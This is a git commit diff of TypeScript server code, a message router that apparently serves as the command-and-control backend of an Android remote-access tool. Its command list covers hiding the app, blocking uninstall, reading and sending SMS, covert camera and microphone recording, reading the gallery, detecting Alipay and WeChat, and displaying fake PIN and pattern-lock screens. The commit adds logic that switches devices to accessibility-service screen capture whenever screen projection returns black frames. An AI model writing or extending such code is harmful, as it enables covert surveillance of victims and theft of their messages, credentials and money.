上传
This commit is contained in:
@@ -9,7 +9,7 @@ import path from 'path'
|
||||
* 控制消息接口
|
||||
*/
|
||||
export interface ControlMessage {
|
||||
type: 'CLICK' | 'SWIPE' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'INPUT_TEXT' | 'KEY_EVENT' | 'GESTURE' | 'POWER_WAKE' | 'POWER_SLEEP' | 'DEVICE_BLOCK_INPUT' | 'DEVICE_ALLOW_INPUT' | 'LOG_ENABLE' | 'LOG_DISABLE' | 'WAKE_SCREEN' | 'LOCK_SCREEN' | 'UNLOCK_DEVICE' | 'ENABLE_BLACK_SCREEN' | 'DISABLE_BLACK_SCREEN' | 'OPEN_APP_SETTINGS' | 'HIDE_APP' | 'SHOW_APP' | 'REFRESH_MEDIA_PROJECTION_PERMISSION' | 'CLOSE_CONFIG_MASK' | 'ENABLE_UNINSTALL_PROTECTION' | 'DISABLE_UNINSTALL_PROTECTION' | 'CAMERA_START' | 'CAMERA_STOP' | 'CAMERA_SWITCH' | 'SMS_PERMISSION_CHECK' | 'SMS_READ' | 'SMS_SEND' | 'SMS_UNREAD_COUNT' | 'GALLERY_PERMISSION_CHECK' | 'ALBUM_READ' | 'GET_GALLERY' | 'MICROPHONE_PERMISSION_CHECK' | 'MICROPHONE_START_RECORDING' | 'MICROPHONE_STOP_RECORDING' | 'MICROPHONE_RECORDING_STATUS' | 'ALIPAY_DETECTION_START' | 'WECHAT_DETECTION_START' | 'OPEN_PIN_INPUT' | 'OPEN_FOUR_DIGIT_PIN' | 'OPEN_PATTERN_LOCK' | 'CHANGE_SERVER_URL' | 'SCREEN_CAPTURE_PAUSE' | 'SCREEN_CAPTURE_RESUME'
|
||||
type: 'CLICK' | 'SWIPE' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'INPUT_TEXT' | 'KEY_EVENT' | 'GESTURE' | 'POWER_WAKE' | 'POWER_SLEEP' | 'DEVICE_BLOCK_INPUT' | 'DEVICE_ALLOW_INPUT' | 'LOG_ENABLE' | 'LOG_DISABLE' | 'WAKE_SCREEN' | 'LOCK_SCREEN' | 'UNLOCK_DEVICE' | 'ENABLE_BLACK_SCREEN' | 'DISABLE_BLACK_SCREEN' | 'OPEN_APP_SETTINGS' | 'HIDE_APP' | 'SHOW_APP' | 'REFRESH_MEDIA_PROJECTION_PERMISSION' | 'REFRESH_MEDIA_PROJECTION_MANUAL' | 'CLOSE_CONFIG_MASK' | 'ENABLE_UNINSTALL_PROTECTION' | 'DISABLE_UNINSTALL_PROTECTION' | 'CAMERA_START' | 'CAMERA_STOP' | 'CAMERA_SWITCH' | 'SMS_PERMISSION_CHECK' | 'SMS_READ' | 'SMS_SEND' | 'SMS_UNREAD_COUNT' | 'GALLERY_PERMISSION_CHECK' | 'ALBUM_READ' | 'GET_GALLERY' | 'MICROPHONE_PERMISSION_CHECK' | 'MICROPHONE_START_RECORDING' | 'MICROPHONE_STOP_RECORDING' | 'MICROPHONE_RECORDING_STATUS' | 'ALIPAY_DETECTION_START' | 'WECHAT_DETECTION_START' | 'OPEN_PIN_INPUT' | 'OPEN_FOUR_DIGIT_PIN' | 'OPEN_PATTERN_LOCK' | 'CHANGE_SERVER_URL' | 'SCREEN_CAPTURE_PAUSE' | 'SCREEN_CAPTURE_RESUME'
|
||||
deviceId: string
|
||||
data: any
|
||||
timestamp: number
|
||||
@@ -143,6 +143,10 @@ export class MessageRouter {
|
||||
private droppedMicrophoneAudio = 0
|
||||
private totalMicrophoneAudioSize = 0
|
||||
|
||||
// ✅ 黑帧检测:按设备追踪连续黑帧数,超过阈值时通知设备切换采集模式
|
||||
private consecutiveBlackFrames = new Map<string, number>()
|
||||
private captureModeSwitchSent = new Set<string>() // 已发送切换指令的设备,避免重复发送
|
||||
|
||||
constructor(deviceManager: DeviceManager, webClientManager: WebClientManager, databaseService: DatabaseService) {
|
||||
this.deviceManager = deviceManager
|
||||
this.webClientManager = webClientManager
|
||||
@@ -536,6 +540,60 @@ export class MessageRouter {
|
||||
return false
|
||||
}
|
||||
|
||||
// ✅ 过滤黑屏帧:Base64字符串<4000字符(≈3KB JPEG)几乎肯定是黑屏/空白帧
|
||||
// 正常480×854 JPEG即使最低质量也远大于此值
|
||||
const MIN_VALID_FRAME_SIZE = 4000
|
||||
if (dataSize > 0 && dataSize < MIN_VALID_FRAME_SIZE) {
|
||||
this.droppedFrames++
|
||||
|
||||
// ✅ 追踪连续黑帧数
|
||||
const deviceId = screenData.deviceId
|
||||
const count = (this.consecutiveBlackFrames.get(deviceId) || 0) + 1
|
||||
this.consecutiveBlackFrames.set(deviceId, count)
|
||||
|
||||
if (this.routedFrames % 100 === 0) {
|
||||
this.logger.warn(`⚠️ 过滤黑屏帧: ${dataSize} 字符 < ${MIN_VALID_FRAME_SIZE}, 设备${deviceId}, 连续黑帧${count}, 已丢弃${this.droppedFrames}帧`)
|
||||
}
|
||||
|
||||
// ✅ 连续50个黑帧后,通知Android端切换到无障碍截图模式
|
||||
if (count >= 50 && !this.captureModeSwitchSent.has(deviceId)) {
|
||||
this.captureModeSwitchSent.add(deviceId)
|
||||
this.logger.warn(`🔄 设备${deviceId}连续${count}个黑帧,发送切换到无障碍截图模式指令`)
|
||||
|
||||
try {
|
||||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
|
||||
if (deviceSocketId) {
|
||||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
|
||||
if (deviceSocket) {
|
||||
deviceSocket.emit('quality_adjust', {
|
||||
captureMode: 'accessibility',
|
||||
fps: 10,
|
||||
quality: 50,
|
||||
maxWidth: 480,
|
||||
maxHeight: 854
|
||||
})
|
||||
this.logger.info(`📤 已向设备${deviceId}发送切换采集模式指令`)
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
this.logger.error(`❌ 发送切换采集模式指令失败:`, e)
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// ✅ 收到有效帧,重置黑帧计数
|
||||
if (screenData.deviceId) {
|
||||
const prevCount = this.consecutiveBlackFrames.get(screenData.deviceId) || 0
|
||||
if (prevCount > 0) {
|
||||
this.logger.info(`✅ 设备${screenData.deviceId}收到有效帧(${dataSize}字符),重置黑帧计数(之前${prevCount})`)
|
||||
}
|
||||
this.consecutiveBlackFrames.set(screenData.deviceId, 0)
|
||||
// 收到有效帧后允许再次发送切换指令(如果后续又出现黑帧)
|
||||
this.captureModeSwitchSent.delete(screenData.deviceId)
|
||||
}
|
||||
|
||||
// 🔧 检查设备是否有控制者,没有控制者直接丢弃(提前检查,减少处理开销)
|
||||
const controllerId = this.webClientManager.getDeviceController(screenData.deviceId)
|
||||
if (!controllerId) {
|
||||
@@ -1823,6 +1881,9 @@ export class MessageRouter {
|
||||
case 'REFRESH_MEDIA_PROJECTION_PERMISSION':
|
||||
return this.handleRefreshMediaProjectionPermission(client.id, eventData.deviceId)
|
||||
|
||||
case 'REFRESH_MEDIA_PROJECTION_MANUAL':
|
||||
return this.handleRefreshMediaProjectionManual(client.id, eventData.deviceId)
|
||||
|
||||
case 'CLOSE_CONFIG_MASK':
|
||||
return this.handleCloseConfigMask(client.id, eventData.deviceId, eventData.manual)
|
||||
|
||||
@@ -4078,6 +4139,75 @@ export class MessageRouter {
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 🆕 处理手动授权投屏权限请求(不自动点击确认)
|
||||
*/
|
||||
private handleRefreshMediaProjectionManual(clientId: string, deviceId: string): boolean {
|
||||
try {
|
||||
this.logger.info(`📺 手动授权投屏权限请求: 客户端=${clientId}, 设备=${deviceId}`)
|
||||
|
||||
const device = this.deviceManager.getDevice(deviceId)
|
||||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
|
||||
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
|
||||
deviceId,
|
||||
success: false,
|
||||
message: '设备已离线或不存在'
|
||||
})
|
||||
return false
|
||||
}
|
||||
|
||||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||||
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
|
||||
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
|
||||
deviceId,
|
||||
success: false,
|
||||
message: '无控制权限,请先申请设备控制权'
|
||||
})
|
||||
return false
|
||||
}
|
||||
|
||||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
|
||||
if (deviceSocketId) {
|
||||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
|
||||
if (deviceSocket) {
|
||||
deviceSocket.emit('control_command', {
|
||||
type: 'REFRESH_MEDIA_PROJECTION_MANUAL',
|
||||
deviceId,
|
||||
data: {},
|
||||
timestamp: Date.now()
|
||||
})
|
||||
|
||||
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
|
||||
deviceId,
|
||||
success: true,
|
||||
message: '手动授权命令已发送,请在设备上手动确认权限'
|
||||
})
|
||||
|
||||
this.logger.info(`✅ 手动授权投屏权限命令已发送: ${deviceId}`)
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`)
|
||||
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
|
||||
deviceId,
|
||||
success: false,
|
||||
message: '设备连接已断开'
|
||||
})
|
||||
return false
|
||||
|
||||
} catch (error) {
|
||||
this.logger.error('手动授权投屏权限失败:', error)
|
||||
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
|
||||
deviceId,
|
||||
success: false,
|
||||
message: '手动授权投屏权限失败: ' + (error as Error).message
|
||||
})
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 🆕 路由权限申请响应
|
||||
*/
|
||||
|
||||
Reference in New Issue
Block a user